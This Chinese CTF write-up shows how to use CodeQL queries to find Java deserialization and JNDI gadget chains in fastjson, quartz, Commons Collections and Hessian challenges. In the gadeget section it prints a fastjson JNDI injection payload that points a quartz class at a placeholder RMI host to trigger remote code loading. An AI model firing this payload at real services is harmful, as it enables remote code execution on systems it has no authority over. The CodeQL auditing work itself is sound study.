使用CodeQL分析CTF题目

2022-06-13 5,988

前言

CodeQL是近几年很火的一个语义代码分析引擎,使用CodeQL可以像查询数据一样来查询代码,编写查询用于查找代码中的漏洞。笔者作为一名安全竞赛研究员,尝试使用CodeQL来协助CTF中Java题目的代码审计。本文将围绕着使用CodeQL来查询Java中函数的流向,以及类与函数常用谓词的运用,在CTF的代码审计时快速判断某个函数是否会流向一些可能存在利用的函数。

基础的环境搭建

关于CodeQL的环境安装教程,网上已经有比较多的文章了,这里就不赘述。给出几个参考链接:

https://github.com/github/codeql

https://www.anquanke.com/post/id/266823

https://www.freebuf.com/sectool/269924.html

https://tttang.com/archive/1322/

对类进行限制

查询的过程中,我们如果想要查询某个类(或方法),这时就需要通过一些谓词来限制这个类(或方法)的一些特征。

先从网上下载一个已经打包的数据库:
https://github.com/githubsatelliteworkshops/codeql/releases/download/v1.0/apache_struts_cve_2017_9805.zip

在CodeQL中,RefType就包含了我们在Java里面使用到的Class,Interface的声明,比如我们现在需要查询一个类名为XStreamHandler的类,但是我们不确定他是Class还是Interface,我们就可以通过 RefType定义变量后进行查询,如下

import java

from RefType c
where c.hasName("XStreamHandler")
select c



RefType中常用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Type.qll/type.Type$RefType.html

getACallable() 获取所有可以调用方法(其中包括构造方法)
getAMember() 获取所有成员,其中包括调用方法,字段和内部类这些
getAField() 获取所有字段
getAMethod() 获取所有方法
getASupertype() 获取父类
getAnAncestor() 获取所有的父类相当于递归的getASupertype*()

获取XStreamHandlerfromObject可以通过构造如下查询语句:

import java

from RefType c, Callable cf
where
  c.hasName("XStreamHandler") and
  cf.hasName("fromObject") and
  cf = c.getACallable()
select c, cf


在CodeQL中,Java的方法限制,我们可以使用Callable,并且Callable父类是 Method (普通的方法)和 Constructor(类的构造方法)

对于方法调用,我们可以使用call,并且call的父类包括MethodAccess, ClassInstanceExpression, ThisConstructorInvocationStmtSuperConstructorInvocationStmt

现在我们需要查询有哪些地方调用了XStream.fromXML,可以构造如下的查询:

import java

from MethodAccess c, Callable cb
where
  cb.hasName("fromXML") and
  cb.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream""XStream") and
  c.getMethod() = cb
select c



Callable常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Member.qll/type.Member$Callable.html

polyCalls(Callable target) 一个Callable 是否调用了另外的Callable,这里面包含了类似虚函数的调用
hasName(name) 可以对方法名进行限制

Call中常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Call.html

getCallee() 返回函数声明的位置
getCaller() 返回调用这个函数的函数位置

现在我们先构建一个mybatis-3的数据库,通过CodeQL database create  mybatis_3_db --language="java"  --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"进行编译,编译完导入vscode就行

mybatis-3的下载链接:https://github.com/mybatis/mybatis-3

我们先编写一个限制方法名为lookup,并且他所属的类或者接口是javax.naming.Context的类,点击快速查询得到三个结果:

class LookupMethod extends Call {
  LookupMethod() {
    this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming""Context") and
    this.getCallee().hasName("lookup")
  }
}



然后再编写一个限制方法名满足gettersetter的类,我们点击快速查看,可以得到很多结果。

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%"and
    hasNoParameters() and
    getName().length() > 3
    or
    getName().matches("set%") and
    getNumberOfParameters() 
1
  }
}



现在我们需要找到一个可以从gettersetter方法到lookup的路径,这个时候可以利用edgesCallable中的谓词polyCalls进行构造,通过查询可以得到一个结果,也就是 fastjson 1.2.45里面的一个绕过方法。

https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/PrintAst.qll/predicate.PrintAst$edges.4.html

/**
 * @kind path-problem
 */


import java

class LookupMethod extends Call {
  LookupMethod() {
    this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming""Context") and
    this.getCallee().hasName("lookup")
  }
}

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%"and
    hasNoParameters() and
    getName().length() > 3
    or
    getName().matches("set%") and
    getNumberOfParameters() 
1
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
  endcall.getCallee() = endCallAble and
  edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Geter jndi"

在CTF中的运用

gadeget题目

SUSCTF2022的gadeget题目考察的是:fastjson JNDI注入、JNDI注入绕过高版本jdk限制、绕过RASP等。

做这个题目的时候,有一步是需要我们找到通过fastjson利用quartz依赖包的gadeget触发反序列化。

通过 https://github.com/quartz-scheduler/quartz 下载源码包,然后通过以下命令生成数据库:

CodeQL database create  quartz_db --language="java"  --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"

然后导入到CodeQL里面。需要注意的是,如果这个数据库通过https://github.com/waderwu/extractor-java这个工具生成quartz2.2.1数据库的话会导致查询不到getTransaction函数,查看相应代码的AST(抽象语法树)发现,AST这里并没有把getTransaction解析为函数。


然后通过如下的codeql语句进行查询,整个codeql的查询意义是先找到一个从getter或者setter出发的函数,是否能流到lookup的调用,并且这个lookup调用时的参数是存在相应的setter进行赋值操作。

/**
 * @kind path-problem
 */


import java

class LookupMethod extends Call {
  LookupMethod() {
    this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming""Context") and
    this.getCallee().hasName("lookup"and
    exists(FieldAccess f, Class cl |
      this.getAnArgument()
 
= f and
      cl.getACallable().getName().toLowerCase().matches("set" + f.toString().toLowerCase()) and
      this.getCaller().getDeclaringType() = cl
    )
  }
}

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%"and
    hasNoParameters() and
    getName().length() > 3
    or
    getName().matches("set%") and
    getNumberOfParameters() 
1
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
  endcall.getCallee() = endCallAble and
  edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "fastjson"

可以发现扫到了很多地方,但是主要触发点就两个:


经过筛选,我们发现可以通过JTANonClusteredSemaphore的方法getTransaction触发jndi




所以我们就可以构造poc,远程可以收到请求,利用成功。

[{"@type":"org.quartz.impl.jdbcjobstore.JTANonClusteredSemaphore","TransactionManagerJNDIName":"rmi://ip:port/h"},{"$ref":"$[0].Transaction"}]



ezjava题目

MRCTF2022的ezjava题目考察的是:bypass SerialKiller、反序列化链构造等。

题目环境:
https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF/%E7%BB%95serializeKiller

题目对一些类进行了过滤,很容易想到出题人就是让我们绕过限制,过滤了如下的类,结合之前对cc链的掌握,我们知道cc链在最后代码执行或者命令执行的sink就两个地方,一个是通过反射到命令执行,另一个是通过TrAXFilterTemplatesImpl的配合进行代码执行,他这里就只是过滤了最后触发的地方,前面反序列化到LazyMap.get()都是可以用的。


这次生成cc3.2.1数据库我用的是如下链接的工具(需要注意一点是在linux上面构建数据库的codeql版本最好和在vscode里面使用的版本一致),因为没有安装相应版本的jdk进行编译,直接通过mvn构建时报错。

https://github.com/waderwu/extractor-java


这里我选择的是找到一个其他可以利用的点,这个点是可以触发Constructor.newInstance的方法,具体构建查询如下

/**
 * @kind path-problem
 */


import java

class NewInstanceCall extends Call {
    NewInstanceCall() {
    this.getCallee().getDeclaringType() instanceof TypeConstructor and
    this.getCallee().hasName("newInstance"and
    not getCaller().getDeclaringType().hasName("InvokerTransformer") and
    not getCaller().getDeclaringType().hasName("ChainedTransformer") and
    not getCaller().getDeclaringType().hasName("ConstantTransformer") and
    not getCaller().getDeclaringType().hasName("InstantiateTransformer")
  }
}

class GetterCallable extends Callable 
{
    GetterCallable() {
    getName().matches("transform"and
    not getDeclaringType() instanceof Interface and
    fromSource() and
    getNumberOfParameters() 
1 and
    not getDeclaringType().hasName("InvokerTransformer") and
    not getDeclaringType().hasName("ChainedTransformer") and
    not getDeclaringType().hasName("ConstantTransformer") and
    not getDeclaringType().hasName("InstantiateTransformer")
  }
}

query predicate edges(Callable a, Callable b) 
{ a.polyCalls(b) }

from  NewInstanceCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee() = endCallAble and
  edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "cc finder"

最后人工筛选确定使用FactoryTransformer.transform为新的触发点,具体poc可以参考:

https://guokeya.github.io/post/tLCxJb1Sl/

https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/#EzJava-%E2%80%93-Bypass-Serialkiller

ezchain题目

hfctf2022的ezchain题目考察的是:hessian反序列化链构造等。

题目环境:
https://github.com/waderwu/My-CTF-Challenges/tree/master/hfctf-2022/ezchain

因为这次跑CodeQL需要生成相应jdk的数据库,所以关于数据库的生成可以参考下面两个链接:

https://old.sumsec.me/2021/08/18/CodeQL%20Create%20OpenJdk_Jdk8%20Database/

https://blog.csdn.net/mole_exp/article/details/122330521

在这个题里面的利用主要就是通过getter查找到二次反序列化点和命令执行,但是这次没有选用递归的形式,因为递归太慢了,不过有时间可以跑跑看还有没有其他的点。

/**
 * @kind path-problem
 */


import java

class ReadCall extends Call {
  ReadCall() {
    this.getCallee().getDeclaringType().hasQualifiedName("java.io""ObjectInput") and
    this.getCallee().hasName("readObject") and
    this.getCallee().fromSource()
  }
}

class GetterCallable extends Callable {
    GetterCallable() {
    getName().matches("get%") and
    this.hasNoParameters() and
    getName().length() > 3
  }
}

query predicate edges(Callable a, Callable b) 
{ a.polyCalls(b) }

from  ReadCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee() = endCallAble and
  edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to readObject"



但是在查询getterRuntime.getRuntime().exec时候,我测试了很多次发现都没有办法直接查询到,因为从getter到命令执行的地方是经过了java的native方法,导致失去了AccessController.doPrivileged方法的信息。



来看看在CodeQL中这一部分的数据是什么样子吧,可以发现关于这部分的函数调用根本没有解析出来。

import java

from Callable c
where c.hasName("execCmd") and
c.getDeclaringType().hasName("PrintServiceLookupProvider")
select c.getACallee()



所以我们就只好设置execCmd为终点了,这里也只扫了一层的,如果递归就可能要很久。

/**
 * @kind path-problem
 */


import java

class ExecCall extends Call {
  ExecCall() {
    this.getCallee().getDeclaringType().hasQualifiedName("sun.print""PrintServiceLookupProvider") and
    this.getCallee().hasName("execCmd")
    or
    this.getCallee().getDeclaringType().hasQualifiedName("java.lang""Runtime") and
    this.getCallee().hasName("exec")
  }
}

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%") and
    this.hasNoParameters() and
    getName().length() > 3
  }
}

query predicate edges(Callable a, Callable b) 
{ a.polyCalls(b) }

from ExecCall endcall, GetterCallable entryPoint, Callable endCallAble
where
  endcall.getCallee() = endCallAble and
  edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to execCmd"



ezcc题目

2022年数字中国创新大赛车联网安全赛初赛的ezcc题目考察的是:Shiro反序列化、CommonsCollections链、CommonsBeanutils链的绕过等。

题目环境:
https://www.ichunqiu.com/battalion?t=1&r=70889

题目给了附件,大概看一下就明白是Shiro反序列化的利用,但是题目过滤了一些类。


这个时候可以利用之前学习过的poc进行改造,可以清楚的看到我们只需要找到一个 InvokerTransformer的替代类即可

https://github.com/phith0n/JavaThings/blob/master/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java


其实熟悉cc链的应该一眼就看出来可以通过InstantiateTransformer来代替,因为在cc3cc4中注释里面写的很清楚。


如果不知道这个前提的情况下我们可以怎么去思考,先看看 InvokerTransformer的作用,可以发现是可以通过反射执行newTransformer的方法。



我们先看看剩下的transform里面,哪些看着比较好利用吧,直接快速查询看看,发现总共就29个,挨着看看每个方法。

import java

class TransformrCallable extends Callable {
  TransformrCallable() {
    getName().matches("transform"and
    not getDeclaringType() instanceof Interface and
    fromSource() and
    getNumberOfParameters() 
1 and
    not getDeclaringType().hasName("InvokerTransformer") and
    not getDeclaringType().hasName("ConstantTransformer") 
  }
}
from TransformrCallable c
select c,c.getBody(),c.getDeclaringType()



这里就列举一下有那些看着感觉可以利用吧。

第6个会调用某些满足条件的create()的方法:


第7个,会调用Closure类的execute方法:


第9个,会调用Factory类的create方法:


第10个的时候,发现我们可以实例化一个类,这就代表着我们可以触发一些类的构造方法:


第13个,会调用Predicate类的execute方法:


在这29个里面,我们就筛选出来了5个可能存在利用的地方,首先我们的目标就是要找到一个可以调用到TemplatesImplnewTransformer方法的地方。

我先看找到的第一个可能存在利用的地方,CloneTransformer.transform函数后续操作。


如果有目标类存在clone方法,就直接返回new PrototypeFactory.PrototypeCloneFactory后,调用create方法,否则new InstantiateFactory后调用create方法,不过这里new InstantiateFactory的参数值不完全可控,所以利用不了


接下来看看第二个点Closure.execute,因为Closureinterface,所以采用getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")进行限制,得到了9个结果,但是看着感觉没有什么好利用的。

import java

class ClosureCallable extends Callable {
  ClosureCallable() {
    getName().matches("execute"and
    getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections""Closure") and
    fromSource() and
    getNumberOfParameters() 
1
  }
}
from ClosureCallable c
select c,c.getBody(),c.getDeclaringType()



第三个点就是筛选Factory类的create方法看看有什么可以利用的。

import java

class FactoryCallable extends Callable {
  FactoryCallable() {
    getName().matches("create"and
    getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections""Factory") and
    fromSource() and
    getNumberOfParameters() 
0
  }
}

from FactoryCallable c
select c,c.getBody(),c.getDeclaringType()

发现结果中的第三个也是可以触发类的构造方法,后续流程又回到了第二点后半部分的TrAXFilter类的利用了。


虽然有transient修饰,但是findConstructor又会给iConstructor进行赋值,所以这里是可以利用的。



然后我们在生成jdk数据库里面找找有没有那个类的构造方法可以调用到TemplatesImplnewTransformer方法,编写如下的查询语句可以得到TrAXFilter的构造方法是可以触发newTransformer,具体poc构造参考。

/**
 * @kind path-problem
 */


import java

class ConMethod extends Callable{
  ConMethod(){
    this instanceof Constructor
  }
}

class NewTransformer extends Callable{
  NewTransformer(){
    hasName("newTransformer"and
    hasNoParameters() and
    getDeclaringType().hasName("TemplatesImpl")
  }
}

query predicate edges(Callable a, Callable b) 
{ a.polyCalls(b) }

from  NewTransformer endcall, ConMethod entryPoint
where edges(entryPoint, endcall)
select endcall, entryPoint, endcall, "newTransformer finder"



Java的poc构造可以参考上面ezjava题目给出的两个链接。

结果中的第四个虽然有反射调用任意的方法,但是transient修饰了方法名,导致反序列化时这个值会为null,所以这里利用不了。



结果中的第六个是无参的构造方法调用,也利用不了。


第四个点也就是会新创建一个对象,也就会触发构造方法,所以利用方式就可以参考第一个点的后半部分,具体poc的构造可以参考:

https://mp.weixin.qq.com/s/SVPNzPE2Vos1VVGKOwGWeA


第五个点大概看了没有什么利用的地方。

import java

class PredicateCallable extends Callable {
  PredicateCallable() {
    getName().matches("evaluate"and
    getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections""Predicate") and
    fromSource() and
    getNumberOfParameters() 
1
  }
}

from PredicateCallable c
select c,c.getBody(),c.getDeclaringType()

总结

通过CodeQL,确实可以在代码审计中提高了审计速度和避免人工查找时因马虎而遗漏的一些关键点。同学们下次打CTF时,不妨尝试下CodeQL,看看能否更快地拿到flag。

关于CodeQL在CTF的代码审计的应用,笔者只是浅尝辄止,希望能通过本文,引发更多师傅对CodeQL在CTF上的更多尝试。欢迎师傅们交流讨论。

参考链接

https://github.com/githubsatelliteworkshops/codeql/blob/master/java.md

https://codeql.github.com/codeql-standard-libraries/java/

https://codeql.github.com/docs/codeql-language-guides/codeql-for-java/

https://tttang.com/archive/1570/

https://tttang.com/archive/1415/

https://xz.aliyun.com/t/10707


本文作者:i春秋聚集地

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/180773.html

Tags:
评论  (0)
快来写下你的想法吧!

i春秋聚集地

文章数:22 积分: 225

i春秋聚集地旨在为信息安全爱好者提供及时有效的信息渠道和体验平台,欢迎关注公众号(icqedu),和“i春秋学院”微博了解更多网络安全新知识~

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号